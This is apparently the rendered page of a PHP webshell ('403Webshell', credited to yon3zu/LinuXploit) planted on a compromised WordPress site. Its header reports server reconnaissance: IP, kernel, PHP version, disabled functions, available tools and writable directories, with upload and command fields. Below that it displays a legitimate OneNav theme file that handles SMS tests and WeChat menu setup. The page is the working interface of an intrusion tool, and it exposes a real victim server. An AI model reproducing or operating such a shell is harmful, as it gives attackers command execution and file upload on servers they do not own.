403Webshell
Server IP : 116.153.78.57  /  Your IP : 43.159.78.123
Web Server : nginx/1.28.0
System : Linux 1763701629066 6.8.0-53-generic #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.lengcat.cn/wp-content/themes/onenav/inc/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.lengcat.cn/wp-content/themes/onenav/inc/action/ajax-admin.php
<?php
/*
 * @Author: iowen
 * @Author URI: https://www.iowen.cn/
 * @Date: 2023-01-14 17:19:39
 * @LastEditors: iowen
 * @LastEditTime: 2023-02-04 01:02:18
 * @FilePath: \onenav\inc\action\ajax-admin.php
 * @Description: 
 */

//test_send_sms
function io_test_send_sms()
{
    if (empty($_POST['phone_number'])) {
        echo (json_encode(array('error' => 1, 'msg' => '请输入手机号码')));
        exit();
    }

    echo json_encode(IOSMS::send($_POST['phone_number'], '8888'));
    exit();
}
add_action('wp_ajax_test_send_sms', 'io_test_send_sms');

/**
 * 设置微信公众号菜单
 * @return void
 */
function io_weixin_gzh_create_menu()
{
    $json = $_REQUEST['json'];
    if (!$json) {
        io_error(array('error'=>1,'msg'=>'输入json配置代码'));
    }
    $data = json_decode(wp_unslash(trim($json)), true);
    if (!$data || !is_array($data)) {
        io_error(array('error'=>1,'msg'=>'json格式错误'));
    }
    $config = io_get_option('open_weixin_gzh_key',array());
    try {
        require_once get_theme_file_path('/inc/classes/open.wechat.gzh.class.php');
        $oauth = new ioLoginWechatGZH($config['appid'], $config['appkey'],io_get_option('open_weixin_gzh_key', 'gzh', 'type'));
        $menu  = $oauth->createMenu($data);
        if (isset($menu['errcode'])) {
            if (0 == $menu['errcode']) {
                update_option('io_gzh_menu_json',base64_encode($json));
                io_error(array('error'=>0,'msg'=>'设置成功,5-10分钟后生效,请耐心等待'));
            } else {
                io_error(array('error'=>1,'msg'=>'设置失败<br>错误码:' . $menu['errcode'] . '<br>错误消息:' . $menu['errmsg']));
            }
        }
    } catch (\Exception $e) {
        io_error(array('error'=>1,'msg'=>$e->getMessage()));
    }

}
add_action('wp_ajax_set_weixin_gzh_menu', 'io_weixin_gzh_create_menu');

Youez - 2016 - github.com/yon3zu
LinuXploit